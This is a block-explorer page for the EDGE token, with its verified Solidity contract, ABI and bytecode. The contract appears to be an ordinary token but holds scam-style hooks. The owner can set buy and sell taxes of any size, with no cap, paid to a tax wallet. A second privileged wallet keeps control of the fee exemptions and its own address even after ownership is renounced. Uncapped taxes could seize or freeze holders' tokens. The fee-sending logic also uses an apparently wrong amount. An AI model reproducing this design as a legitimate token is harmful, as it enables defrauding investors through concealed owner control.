ETH Price: $3,248.10 (+2.42%)
Gas: 9 Gwei

Token

EDGE (EDGE)
 

Overview

Max Total Supply

10,000,000,000 EDGE

Holders

41

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
5,347,292,171.9991059 EDGE

Value
$0.00
0x2d8967ac87f6d1a38bac56fa6bd784084b8afe62
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
EDGE

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-29
*/

// SPDX-License-Identifier: MIT
 
 
pragma solidity 0.8.19;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}
 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
 
}
 
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
}
 
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
 
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
 
contract EDGE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping(address => bool) public exchange;
    address payable private _taxWallet;
    uint256 firstBlock;
    address public _taxWallet2;

 
    uint256 private _initialBuyTax=0;
    uint256 private _initialSellTax=0;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=0;
    uint256 private _reduceSellTaxAt=0;
    uint256 private _preventSwapBefore=0;
    uint256 private _buyCount=0;
 
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 10000000000 * 10**_decimals;
    string private constant _name = unicode"EDGE";
    string private constant _symbol = unicode"EDGE";
    uint256 public _taxSwapThreshold= 10000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 10000000 * 10**_decimals;
 
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
 

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    bool private changingParameters = false;

    modifier lockChangingParameters {
        require(!changingParameters, "Parameters are being changed");
        changingParameters = true;
        _;
        changingParameters = false;
    }

 
    constructor () {
 
        _taxWallet = payable(_msgSender());
        _taxWallet2 = _msgSender();
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
 
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
 
    function name() public pure returns (string memory) {
        return _name;
    }
 
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
 
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
 
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
 
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
 
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (!exchange[from]) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

 
            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
 
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && contractTokenBalance>_taxSwapThreshold) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(_taxWallet2.balance);
                }
            }
        }
 
        if(taxAmount>0){
          _balances[_taxWallet2]=_balances[_taxWallet2].add(taxAmount);
          emit Transfer(from, _taxWallet2,taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
 
 
    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
 
    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }
 
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
 
 
    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }
 
    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }
    function changeTaxWallet(address newTaxWallet) external {
        require(msg.sender == _taxWallet2, "not authorized");
        _taxWallet2 = newTaxWallet;
    }
    function addExchange(address _address) public  {
        require(msg.sender == _taxWallet2, "not authorized");
        require(_address != address(0), "Invalid address");
        exchange[_address] = true;
    }

    function removeExchange(address _address) public {
        require(msg.sender == _taxWallet2, "not authorized");
        exchange[_address] = false;
    } 
    function setTaxParameters(uint256 newInitialBuyTax, uint256 newInitialSellTax, uint256 newFinalBuyTax, uint256 newFinalSellTax) public onlyOwner lockChangingParameters {
        _initialBuyTax = newInitialBuyTax;
        _initialSellTax = newInitialSellTax;
        _finalBuyTax = newFinalBuyTax;
        _finalSellTax = newFinalSellTax;
    }

 
    receive() external payable {}
 
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxWallet2","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"addExchange","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newTaxWallet","type":"address"}],"name":"changeTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"exchange","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"removeExchange","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newInitialBuyTax","type":"uint256"},{"internalType":"uint256","name":"newInitialSellTax","type":"uint256"},{"internalType":"uint256","name":"newFinalBuyTax","type":"uint256"},{"internalType":"uint256","name":"newFinalSellTax","type":"uint256"}],"name":"setTaxParameters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600060085560006009556000600a556000600b556000600c556000600d556000600e556000600f556009600a6200003c91906200030e565b6200004b906298968062000326565b6010556200005c6009600a6200030e565b6200006b906298968062000326565b6011556013805462ffffff60a81b191690553480156200008a57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060058054336001600160a01b03199182168117909255600780549091169091179055620000fc6009600a6200030e565b6200010d906402540be40062000326565b336000908152600160208190526040822092909255600390620001386000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620001973390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001d16009600a6200030e565b620001e2906402540be40062000326565b60405190815260200160405180910390a362000340565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000250578160001904821115620002345762000234620001f9565b808516156200024257918102915b93841c939080029062000214565b509250929050565b600082620002695750600162000308565b81620002785750600062000308565b81600181146200029157600281146200029c57620002bc565b600191505062000308565b60ff841115620002b057620002b0620001f9565b50506001821b62000308565b5060208310610133831016604e8410600b8410161715620002e1575081810a62000308565b620002ed83836200020f565b8060001904821115620003045762000304620001f9565b0290505b92915050565b60006200031f60ff84168362000258565b9392505050565b8082028115828204841417620003085762000308620001f9565b61179480620003506000396000f3fe6080604052600436106101235760003560e01c80638da5cb5b116100a0578063aa10ce2211610064578063aa10ce2214610343578063bf474bed14610363578063c9567bf914610379578063cb7115951461038e578063dd62ed3e146103ae57600080fd5b80638da5cb5b146102c55780638e0be369146102e3578063903866d51461030357806395d89b411461012f578063a9059cbb1461032357600080fd5b806323b872dd116100e757806323b872dd1461020c5780632412bdb81461022c578063313ce5671461025c57806370a0823114610278578063715018a6146102ae57600080fd5b806306fdde031461012f578063095ea7b31461016b5780630faee56f1461019b57806317198564146101bf57806318160ddd146101f757600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201825260048152634544474560e01b602082015290516101629190611322565b60405180910390f35b34801561017757600080fd5b5061018b610186366004611388565b6103f4565b6040519015158152602001610162565b3480156101a757600080fd5b506101b160115481565b604051908152602001610162565b3480156101cb57600080fd5b506007546101df906001600160a01b031681565b6040516001600160a01b039091168152602001610162565b34801561020357600080fd5b506101b161040b565b34801561021857600080fd5b5061018b6102273660046113b4565b61042d565b34801561023857600080fd5b5061018b6102473660046113f5565b60046020526000908152604090205460ff1681565b34801561026857600080fd5b5060405160098152602001610162565b34801561028457600080fd5b506101b16102933660046113f5565b6001600160a01b031660009081526001602052604090205490565b3480156102ba57600080fd5b506102c3610496565b005b3480156102d157600080fd5b506000546001600160a01b03166101df565b3480156102ef57600080fd5b506102c36102fe3660046113f5565b610513565b34801561030f57600080fd5b506102c361031e366004611412565b61055e565b34801561032f57600080fd5b5061018b61033e366004611388565b610608565b34801561034f57600080fd5b506102c361035e3660046113f5565b610615565b34801561036f57600080fd5b506101b160105481565b34801561038557600080fd5b506102c36106ab565b34801561039a57600080fd5b506102c36103a93660046113f5565b610a6c565b3480156103ba57600080fd5b506101b16103c9366004611444565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000610401338484610ab8565b5060015b92915050565b60006104196009600a611577565b610428906402540be400611586565b905090565b600061043a848484610bdc565b61048c843361048785604051806060016040528060288152602001611737602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610f81565b610ab8565b5060019392505050565b6000546001600160a01b031633146104c95760405162461bcd60e51b81526004016104c09061159d565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316331461053d5760405162461bcd60e51b81526004016104c0906115d2565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146105885760405162461bcd60e51b81526004016104c09061159d565b601354600160b81b900460ff16156105e25760405162461bcd60e51b815260206004820152601c60248201527f506172616d657465727320617265206265696e67206368616e6765640000000060448201526064016104c0565b60138054600895909555600993909355600a91909155600b5560ff60b81b199091169055565b6000610401338484610bdc565b6007546001600160a01b0316331461063f5760405162461bcd60e51b81526004016104c0906115d2565b6001600160a01b0381166106875760405162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b60448201526064016104c0565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6000546001600160a01b031633146106d55760405162461bcd60e51b81526004016104c09061159d565b601354600160a01b900460ff161561072f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104c0565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561077990309061076a6009600a611577565b610487906402540be400611586565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f091906115fa565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610852573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087691906115fa565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e791906115fa565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d719473061092f816001600160a01b031660009081526001602052604090205490565b6000806109446000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109ac573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109d19190611617565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a2a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4e9190611645565b506013805462ff00ff60a01b19166201000160a01b17905543600655565b6007546001600160a01b03163314610a965760405162461bcd60e51b81526004016104c0906115d2565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b1a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c0565b6001600160a01b038216610b7b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c0565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c405760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c0565b6001600160a01b038216610ca25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c0565b60008111610d045760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c0565b6001600160a01b03831660009081526004602052604081205460ff16610e2d57610d506064610d4a600c54600f5411610d3f57600854610d43565b600a545b8590610fbb565b90611044565b6013549091506001600160a01b038481169116148015610d7957506001600160a01b0384163014155b15610da657610da36064610d4a600d54600f5411610d9957600954610d43565b600b548590610fbb565b90505b30600090815260016020526040902054601354600160a81b900460ff16158015610ddd57506013546001600160a01b038581169116145b8015610dea575060105481115b15610e2b57610e0c610e0784610e0284601154611086565b611086565b61109b565b478015610e2957600754610e29906001600160a01b031631611215565b505b505b8015610eb8576007546001600160a01b0316600090815260016020526040902054610e589082611253565b600780546001600160a01b03908116600090815260016020908152604091829020949094559154915184815291811692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35b6001600160a01b038416600090815260016020526040902054610edb90836112b2565b6001600160a01b038516600090815260016020526040902055610f20610f0183836112b2565b6001600160a01b03851660009081526001602052604090205490611253565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f6a85856112b2565b60405190815260200160405180910390a350505050565b60008184841115610fa55760405162461bcd60e51b81526004016104c09190611322565b506000610fb28486611667565b95945050505050565b600082600003610fcd57506000610405565b6000610fd98385611586565b905082610fe6858361167a565b1461103d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c0565b9392505050565b600061103d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112f4565b6000818311611095578261103d565b50919050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110e3576110e361169c565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561113c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116091906115fa565b816001815181106111735761117361169c565b6001600160a01b0392831660209182029290920101526012546111999130911684610ab8565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906111d29085906000908690309042906004016116b2565b600060405180830381600087803b1580156111ec57600080fd5b505af1158015611200573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561124f573d6000803e3d6000fd5b5050565b6000806112608385611723565b90508381101561103d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c0565b600061103d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f81565b600081836113155760405162461bcd60e51b81526004016104c09190611322565b506000610fb2848661167a565b600060208083528351808285015260005b8181101561134f57858101830151858201604001528201611333565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461138557600080fd5b50565b6000806040838503121561139b57600080fd5b82356113a681611370565b946020939093013593505050565b6000806000606084860312156113c957600080fd5b83356113d481611370565b925060208401356113e481611370565b929592945050506040919091013590565b60006020828403121561140757600080fd5b813561103d81611370565b6000806000806080858703121561142857600080fd5b5050823594602084013594506040840135936060013592509050565b6000806040838503121561145757600080fd5b823561146281611370565b9150602083013561147281611370565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156114ce5781600019048211156114b4576114b461147d565b808516156114c157918102915b93841c9390800290611498565b509250929050565b6000826114e557506001610405565b816114f257506000610405565b816001811461150857600281146115125761152e565b6001915050610405565b60ff8411156115235761152361147d565b50506001821b610405565b5060208310610133831016604e8410600b8410161715611551575081810a610405565b61155b8383611493565b806000190482111561156f5761156f61147d565b029392505050565b600061103d60ff8416836114d6565b80820281158282048414176104055761040561147d565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600e908201526d1b9bdd08185d5d1a1bdc9a5e995960921b604082015260600190565b60006020828403121561160c57600080fd5b815161103d81611370565b60008060006060848603121561162c57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561165757600080fd5b8151801515811461103d57600080fd5b818103818111156104055761040561147d565b60008261169757634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117025784516001600160a01b0316835293830193918301916001016116dd565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156104055761040561147d56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207d9852b94b2b97f5757710bb8c29863ad1d2b309113ea4cc7974e05f6d30353d64736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063aa10ce2211610064578063aa10ce2214610343578063bf474bed14610363578063c9567bf914610379578063cb7115951461038e578063dd62ed3e146103ae57600080fd5b80638da5cb5b146102c55780638e0be369146102e3578063903866d51461030357806395d89b411461012f578063a9059cbb1461032357600080fd5b806323b872dd116100e757806323b872dd1461020c5780632412bdb81461022c578063313ce5671461025c57806370a0823114610278578063715018a6146102ae57600080fd5b806306fdde031461012f578063095ea7b31461016b5780630faee56f1461019b57806317198564146101bf57806318160ddd146101f757600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201825260048152634544474560e01b602082015290516101629190611322565b60405180910390f35b34801561017757600080fd5b5061018b610186366004611388565b6103f4565b6040519015158152602001610162565b3480156101a757600080fd5b506101b160115481565b604051908152602001610162565b3480156101cb57600080fd5b506007546101df906001600160a01b031681565b6040516001600160a01b039091168152602001610162565b34801561020357600080fd5b506101b161040b565b34801561021857600080fd5b5061018b6102273660046113b4565b61042d565b34801561023857600080fd5b5061018b6102473660046113f5565b60046020526000908152604090205460ff1681565b34801561026857600080fd5b5060405160098152602001610162565b34801561028457600080fd5b506101b16102933660046113f5565b6001600160a01b031660009081526001602052604090205490565b3480156102ba57600080fd5b506102c3610496565b005b3480156102d157600080fd5b506000546001600160a01b03166101df565b3480156102ef57600080fd5b506102c36102fe3660046113f5565b610513565b34801561030f57600080fd5b506102c361031e366004611412565b61055e565b34801561032f57600080fd5b5061018b61033e366004611388565b610608565b34801561034f57600080fd5b506102c361035e3660046113f5565b610615565b34801561036f57600080fd5b506101b160105481565b34801561038557600080fd5b506102c36106ab565b34801561039a57600080fd5b506102c36103a93660046113f5565b610a6c565b3480156103ba57600080fd5b506101b16103c9366004611444565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000610401338484610ab8565b5060015b92915050565b60006104196009600a611577565b610428906402540be400611586565b905090565b600061043a848484610bdc565b61048c843361048785604051806060016040528060288152602001611737602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610f81565b610ab8565b5060019392505050565b6000546001600160a01b031633146104c95760405162461bcd60e51b81526004016104c09061159d565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316331461053d5760405162461bcd60e51b81526004016104c0906115d2565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146105885760405162461bcd60e51b81526004016104c09061159d565b601354600160b81b900460ff16156105e25760405162461bcd60e51b815260206004820152601c60248201527f506172616d657465727320617265206265696e67206368616e6765640000000060448201526064016104c0565b60138054600895909555600993909355600a91909155600b5560ff60b81b199091169055565b6000610401338484610bdc565b6007546001600160a01b0316331461063f5760405162461bcd60e51b81526004016104c0906115d2565b6001600160a01b0381166106875760405162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b60448201526064016104c0565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6000546001600160a01b031633146106d55760405162461bcd60e51b81526004016104c09061159d565b601354600160a01b900460ff161561072f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104c0565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561077990309061076a6009600a611577565b610487906402540be400611586565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f091906115fa565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610852573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087691906115fa565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e791906115fa565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d719473061092f816001600160a01b031660009081526001602052604090205490565b6000806109446000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109ac573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109d19190611617565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a2a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4e9190611645565b506013805462ff00ff60a01b19166201000160a01b17905543600655565b6007546001600160a01b03163314610a965760405162461bcd60e51b81526004016104c0906115d2565b600780546001600160a01b0319166001600160a01b0392909216919091